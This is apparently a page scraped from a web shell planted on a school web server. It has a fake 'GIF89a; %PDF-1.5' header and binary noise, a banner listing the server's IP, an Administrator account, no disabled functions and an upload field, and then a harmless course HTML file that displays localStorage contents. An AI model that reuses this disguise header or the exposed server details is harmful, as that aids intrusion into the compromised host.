GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1022/Resources/Week/13/ |
Upload File : |
<!DOCTYPE html> <html lang="en"> <head> <title>localStorage Get</title> <meta charset="utf-8"> <link href="site.css" rel="stylesheet"> <script src="site.js"></script> </head> <body> <h1>localStorage Get</h1> <p id="para1">Before the script...</p> <button onclick="showLS();">showLS</button> <div id="demo"></div> <script> "use strict"; let counter = 0; function showLS() { counter++; console.log(`counter=${counter}`); document.getElementById("demo").innerHTML = `${counter}<br>\n`; for (let key in localStorage) { if (!localStorage.hasOwnProperty(key)) { continue; // skip keys like "setItem", "getItem" etc } document.getElementById("demo").innerHTML += `${key}: ${localStorage.getItem(key)}<br>\n`; } } showLS(); </script> <p id="para2">...After the script.</p> </body> </html>